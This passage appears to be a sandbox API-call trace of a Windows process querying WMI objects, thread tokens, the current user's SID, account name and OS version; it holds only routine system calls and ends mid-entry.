?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0146.200] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0146.200] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0146.200] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0146.201] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0146.202] GetCurrentThread () returned 0xfffffffffffffffe [0146.202] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x1ec) returned 1 [0146.202] malloc (_Size=0xd8) returned 0x2b35c0 [0146.202] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0146.202] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0146.202] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0146.202] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0146.202] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0146.202] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0146.203] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0146.203] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0146.203] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0146.203] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0146.203] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0146.203] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0146.203] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0146.203] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0146.204] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0146.204] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0146.204] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0146.204] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0146.204] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0146.204] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0146.204] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0146.204] malloc (_Size=0x18) returned 0x2aef80 [0146.204] DuplicateTokenEx (in: hExistingToken=0x1ec, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2ac) returned 1 [0146.204] malloc (_Size=0x48) returned 0x2ad220 [0146.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2512b060, dwHighDateTime=0x1d8a92a)) [0146.205] SetEvent (hEvent=0x1f0) returned 1 [0146.207] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0146.207] GetLastError () returned 0x7a [0146.207] malloc (_Size=0x2c) returned 0x2ae2a0 [0146.207] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0146.207] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0146.207] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0146.207] malloc (_Size=0x1c) returned 0x2affa0 [0146.207] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0146.207] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0146.207] malloc (_Size=0x18) returned 0x2aef80 [0146.207] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0146.207] malloc (_Size=0x18) returned 0x2af0e0 [0146.207] malloc (_Size=0x18) returned 0x2af0c0 [0146.207] SysStringLen (param_1="S-1-") returned 0x4 [0146.207] SysStringLen (param_1="5") returned 0x1 [0146.207] memcpy (in: _Dst=0x1618e8, _Src=0x1617f8, _Size=0xa | out: _Dst=0x1618e8) returned 0x1618e8 [0146.207] memcpy (in: _Dst=0x1618f0, _Src=0x1617c8, _Size=0x4 | out: _Dst=0x1618f0) returned 0x1618f0 [0146.207] free (_Block=0x2aef80) [0146.207] free (_Block=0x2af0e0) [0146.207] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0146.207] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0146.208] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0146.208] malloc (_Size=0x18) returned 0x2af0e0 [0146.208] malloc (_Size=0x18) returned 0x2aef80 [0146.208] SysStringLen (param_1="S-1-5") returned 0x5 [0146.208] SysStringLen (param_1="-") returned 0x1 [0146.208] memcpy (in: _Dst=0x1617c8, _Src=0x1618e8, _Size=0xc | out: _Dst=0x1617c8) returned 0x1617c8 [0146.208] memcpy (in: _Dst=0x1617d2, _Src=0x1617f8, _Size=0x4 | out: _Dst=0x1617d2) returned 0x1617d2 [0146.208] free (_Block=0x2af0c0) [0146.208] free (_Block=0x2af0e0) [0146.208] malloc (_Size=0x18) returned 0x2af0e0 [0146.208] malloc (_Size=0x18) returned 0x2af0c0 [0146.208] SysStringLen (param_1="S-1-5-") returned 0x6 [0146.208] SysStringLen (param_1="21") returned 0x2 [0146.208] memcpy (in: _Dst=0x1617f8, _Src=0x1617c8, _Size=0xe | out: _Dst=0x1617f8) returned 0x1617f8 [0146.208] memcpy (in: _Dst=0x161804, _Src=0x1618e8, _Size=0x6 | out: _Dst=0x161804) returned 0x161804 [0146.208] free (_Block=0x2aef80) [0146.208] free (_Block=0x2af0e0) [0146.208] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0146.208] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0146.208] malloc (_Size=0x18) returned 0x2af0e0 [0146.208] malloc (_Size=0x18) returned 0x2aef80 [0146.208] SysStringLen (param_1="S-1-5-21") returned 0x8 [0146.208] SysStringLen (param_1="-") returned 0x1 [0146.209] memcpy (in: _Dst=0x1618e8, _Src=0x1617f8, _Size=0x12 | out: _Dst=0x1618e8) returned 0x1618e8 [0146.209] memcpy (in: _Dst=0x1618f8, _Src=0x1617c8, _Size=0x4 | out: _Dst=0x1618f8) returned 0x1618f8 [0146.209] free (_Block=0x2af0c0) [0146.209] free (_Block=0x2af0e0) [0146.209] malloc (_Size=0x18) returned 0x2af0e0 [0146.209] malloc (_Size=0x18) returned 0x2af0c0 [0146.209] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0146.209] SysStringLen (param_1="4219442223") returned 0xa [0146.209] memcpy (in: _Dst=0x1179a8, _Src=0x1618e8, _Size=0x14 | out: _Dst=0x1179a8) returned 0x1179a8 [0146.209] memcpy (in: _Dst=0x1179ba, _Src=0x1617f8, _Size=0x16 | out: _Dst=0x1179ba) returned 0x1179ba [0146.209] free (_Block=0x2aef80) [0146.209] free (_Block=0x2af0e0) [0146.209] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0146.209] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0146.209] malloc (_Size=0x18) returned 0x2af0e0 [0146.209] malloc (_Size=0x18) returned 0x2aef80 [0146.209] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0146.209] SysStringLen (param_1="-") returned 0x1 [0146.209] memcpy (in: _Dst=0x1182b8, _Src=0x1179a8, _Size=0x28 | out: _Dst=0x1182b8) returned 0x1182b8 [0146.209] memcpy (in: _Dst=0x1182de, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x1182de) returned 0x1182de [0146.209] free (_Block=0x2af0c0) [0146.209] free (_Block=0x2af0e0) [0146.209] malloc (_Size=0x18) returned 0x2af0e0 [0146.209] malloc (_Size=0x18) returned 0x2af0c0 [0146.209] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0146.209] SysStringLen (param_1="4223814209") returned 0xa [0146.210] memcpy (in: _Dst=0x12db38, _Src=0x1182b8, _Size=0x2a | out: _Dst=0x12db38) returned 0x12db38 [0146.210] memcpy (in: _Dst=0x12db60, _Src=0x1618e8, _Size=0x16 | out: _Dst=0x12db60) returned 0x12db60 [0146.210] free (_Block=0x2aef80) [0146.210] free (_Block=0x2af0e0) [0146.210] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0146.210] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0146.210] malloc (_Size=0x18) returned 0x2af0e0 [0146.210] malloc (_Size=0x18) returned 0x2aef80 [0146.210] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0146.210] SysStringLen (param_1="-") returned 0x1 [0146.210] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x3e | out: _Dst=0x12d808) returned 0x12d808 [0146.210] memcpy (in: _Dst=0x12d844, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x12d844) returned 0x12d844 [0146.210] free (_Block=0x2af0c0) [0146.210] free (_Block=0x2af0e0) [0146.210] malloc (_Size=0x18) returned 0x2af0e0 [0146.210] malloc (_Size=0x18) returned 0x2af0c0 [0146.210] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0146.210] SysStringLen (param_1="3835049652") returned 0xa [0146.210] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x40 | out: _Dst=0x12db38) returned 0x12db38 [0146.210] memcpy (in: _Dst=0x12db76, _Src=0x1618e8, _Size=0x16 | out: _Dst=0x12db76) returned 0x12db76 [0146.210] free (_Block=0x2aef80) [0146.210] free (_Block=0x2af0e0) [0146.210] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0146.210] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0146.210] malloc (_Size=0x18) returned 0x2af0e0 [0146.210] malloc (_Size=0x18) returned 0x2aef80 [0146.210] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0146.211] SysStringLen (param_1="-") returned 0x1 [0146.211] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x54 | out: _Dst=0x12d808) returned 0x12d808 [0146.211] memcpy (in: _Dst=0x12d85a, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x12d85a) returned 0x12d85a [0146.211] free (_Block=0x2af0c0) [0146.211] free (_Block=0x2af0e0) [0146.211] malloc (_Size=0x18) returned 0x2af0e0 [0146.211] malloc (_Size=0x18) returned 0x2af0c0 [0146.211] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0146.211] SysStringLen (param_1="1000") returned 0x4 [0146.212] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x56 | out: _Dst=0x12db38) returned 0x12db38 [0146.212] memcpy (in: _Dst=0x12db8c, _Src=0x1618e8, _Size=0xa | out: _Dst=0x12db8c) returned 0x12db8c [0146.212] free (_Block=0x2aef80) [0146.212] free (_Block=0x2af0e0) [0146.212] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0146.212] malloc (_Size=0x5e) returned 0x2b08a0 [0146.212] free (_Block=0x2af0c0) [0146.212] malloc (_Size=0x18) returned 0x2af0c0 [0146.213] free (_Block=0x2b08a0) [0146.213] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0146.213] GetLastError () returned 0x7a [0146.213] malloc (_Size=0x14) returned 0x2af0e0 [0146.213] malloc (_Size=0x16) returned 0x2aef80 [0146.213] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0e0, cchName=0xe7ca84, ReferencedDomainName=0x2aef80, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0146.214] malloc (_Size=0x18) returned 0x2aefc0 [0146.214] malloc (_Size=0x18) returned 0x2aefa0 [0146.214] free (_Block=0x2af0e0) [0146.214] free (_Block=0x2aef80) [0146.214] free (_Block=0x2affa0) [0146.214] free (_Block=0x2aefa0) [0146.214] free (_Block=0x2aefc0) [0146.214] free (_Block=0x2af0c0) [0146.215] free (_Block=0x2ae2a0) [0146.215] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0146.215] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0146.215] GetLastError () returned 0x7a [0146.215] malloc (_Size=0x2c) returned 0x2ae2e0 [0146.215] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0146.215] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0146.215] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0146.216] malloc (_Size=0x1c) returned 0x2affa0 [0146.216] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0146.216] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0146.216] malloc (_Size=0x18) returned 0x2af0c0 [0146.216] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0146.216] malloc (_Size=0x18) returned 0x2aefc0 [0146.216] malloc (_Size=0x18) returned 0x2aefa0 [0146.216] SysStringLen (param_1="S-1-") returned 0x4 [0146.216] SysStringLen (param_1="5") returned 0x1 [0146.216] memcpy (in: _Dst=0x1617f8, _Src=0x1617c8, _Size=0xa | out: _Dst=0x1617f8) returned 0x1617f8 [0146.216] memcpy (in: _Dst=0x161800, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x161800) returned 0x161800 [0146.216] free (_Block=0x2af0c0) [0146.216] free (_Block=0x2aefc0) [0146.216] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0146.216] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0146.216] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0146.216] malloc (_Size=0x18) returned 0x2aefc0 [0146.216] malloc (_Size=0x18) returned 0x2af0c0 [0146.216] SysStringLen (param_1="S-1-5") returned 0x5 [0146.216] SysStringLen (param_1="-") returned 0x1 [0146.217] memcpy (in: _Dst=0x1618e8, _Src=0x1617f8, _Size=0xc | out: _Dst=0x1618e8) returned 0x1618e8 [0146.217] memcpy (in: _Dst=0x1618f2, _Src=0x1617c8, _Size=0x4 | out: _Dst=0x1618f2) returned 0x1618f2 [0146.217] free (_Block=0x2aefa0) [0146.217] free (_Block=0x2aefc0) [0146.217] malloc (_Size=0x18) returned 0x2aefc0 [0146.217] malloc (_Size=0x18) returned 0x2aefa0 [0146.217] SysStringLen (param_1="S-1-5-") returned 0x6 [0146.217] SysStringLen (param_1="21") returned 0x2 [0146.217] memcpy (in: _Dst=0x1617c8, _Src=0x1618e8, _Size=0xe | out: _Dst=0x1617c8) returned 0x1617c8 [0146.217] memcpy (in: _Dst=0x1617d4, _Src=0x1617f8, _Size=0x6 | out: _Dst=0x1617d4) returned 0x1617d4 [0146.217] free (_Block=0x2af0c0) [0146.217] free (_Block=0x2aefc0) [0146.217] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0146.217] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0146.217] malloc (_Size=0x18) returned 0x2aefc0 [0146.217] malloc (_Size=0x18) returned 0x2af0c0 [0146.217] SysStringLen (param_1="S-1-5-21") returned 0x8 [0146.217] SysStringLen (param_1="-") returned 0x1 [0146.217] memcpy (in: _Dst=0x1617f8, _Src=0x1617c8, _Size=0x12 | out: _Dst=0x1617f8) returned 0x1617f8 [0146.217] memcpy (in: _Dst=0x161808, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x161808) returned 0x161808 [0146.218] free (_Block=0x2aefa0) [0146.218] free (_Block=0x2aefc0) [0146.218] malloc (_Size=0x18) returned 0x2aefc0 [0146.218] malloc (_Size=0x18) returned 0x2aefa0 [0146.218] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0146.218] SysStringLen (param_1="4219442223") returned 0xa [0146.218] memcpy (in: _Dst=0x1179a8, _Src=0x1617f8, _Size=0x14 | out: _Dst=0x1179a8) returned 0x1179a8 [0146.218] memcpy (in: _Dst=0x1179ba, _Src=0x1617c8, _Size=0x16 | out: _Dst=0x1179ba) returned 0x1179ba [0146.218] free (_Block=0x2af0c0) [0146.218] free (_Block=0x2aefc0) [0146.218] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0146.218] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0146.218] malloc (_Size=0x18) returned 0x2aefc0 [0146.218] malloc (_Size=0x18) returned 0x2af0c0 [0146.218] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0146.218] SysStringLen (param_1="-") returned 0x1 [0146.218] memcpy (in: _Dst=0x1182b8, _Src=0x1179a8, _Size=0x28 | out: _Dst=0x1182b8) returned 0x1182b8 [0146.218] memcpy (in: _Dst=0x1182de, _Src=0x1617f8, _Size=0x4 | out: _Dst=0x1182de) returned 0x1182de [0146.218] free (_Block=0x2aefa0) [0146.218] free (_Block=0x2aefc0) [0146.218] malloc (_Size=0x18) returned 0x2aefc0 [0146.219] malloc (_Size=0x18) returned 0x2aefa0 [0146.219] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0146.219] SysStringLen (param_1="4223814209") returned 0xa [0146.219] memcpy (in: _Dst=0x12d808, _Src=0x1182b8, _Size=0x2a | out: _Dst=0x12d808) returned 0x12d808 [0146.219] memcpy (in: _Dst=0x12d830, _Src=0x1617f8, _Size=0x16 | out: _Dst=0x12d830) returned 0x12d830 [0146.219] free (_Block=0x2af0c0) [0146.219] free (_Block=0x2aefc0) [0146.219] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0146.219] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0146.219] malloc (_Size=0x18) returned 0x2aefc0 [0146.219] malloc (_Size=0x18) returned 0x2af0c0 [0146.219] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0146.219] SysStringLen (param_1="-") returned 0x1 [0146.219] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x3e | out: _Dst=0x12db38) returned 0x12db38 [0146.219] memcpy (in: _Dst=0x12db74, _Src=0x1617f8, _Size=0x4 | out: _Dst=0x12db74) returned 0x12db74 [0146.219] free (_Block=0x2aefa0) [0146.219] free (_Block=0x2aefc0) [0146.219] malloc (_Size=0x18) returned 0x2aefc0 [0146.219] malloc (_Size=0x18) returned 0x2aefa0 [0146.219] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0146.219] SysStringLen (param_1="3835049652") returned 0xa [0146.220] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x40 | out: _Dst=0x12d808) returned 0x12d808 [0146.220] memcpy (in: _Dst=0x12d846, _Src=0x1617f8, _Size=0x16 | out: _Dst=0x12d846) returned 0x12d846 [0146.220] free (_Block=0x2af0c0) [0146.220] free (_Block=0x2aefc0) [0146.220] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0146.220] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0146.220] malloc (_Size=0x18) returned 0x2aefc0 [0146.220] malloc (_Size=0x18) returned 0x2af0c0 [0146.220] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0146.220] SysStringLen (param_1="-") returned 0x1 [0146.220] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x54 | out: _Dst=0x12db38) returned 0x12db38 [0146.220] memcpy (in: _Dst=0x12db8a, _Src=0x1617f8, _Size=0x4 | out: _Dst=0x12db8a) returned 0x12db8a [0146.220] free (_Block=0x2aefa0) [0146.220] free (_Block=0x2aefc0) [0146.220] malloc (_Size=0x18) returned 0x2aefc0 [0146.220] malloc (_Size=0x18) returned 0x2aefa0 [0146.220] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0146.220] SysStringLen (param_1="1000") returned 0x4 [0146.220] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x56 | out: _Dst=0x12d808) returned 0x12d808 [0146.220] memcpy (in: 